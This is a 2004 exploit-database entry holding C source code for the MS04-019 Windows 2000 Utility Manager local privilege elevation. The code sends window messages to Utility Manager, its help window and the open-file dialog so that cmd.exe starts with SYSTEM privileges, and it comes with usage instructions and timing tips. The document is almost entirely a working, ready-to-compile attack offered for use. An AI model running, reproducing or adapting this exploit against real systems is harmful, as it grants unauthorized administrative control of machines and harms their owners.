MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)

2004-07-14 00:00:00

//by Cesar Cerrudo sqlsec at yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
POINT point;
char sText[]="%windir%\\system32\\cmd.ex?";

// run utility manager
// system("utilman.exe /start");
// Sleep(500);

lHandle=FindWindow(NULL, "Utility manager");
if (!lHandle) {
printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then
run UtilManExploit2.exe\n");
return 0;
}

PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button
in the taskbar or Alt+Space Bar

Sleep(100);

SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP 0x0365
lParam must be <>NULL
Sleep(300);

SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN,
VK_RETURN, 0);
Sleep(500);


// find open file dialog window
lHandle = FindWindow("#32770","Open");

// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);

// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);

// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);

//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);

SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
Sleep(500);

//popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);

// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);

SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
Sleep(500);
SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);//
close open error window
SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);//
close utility manager
return 0;
}


//

Fixes

No fixes

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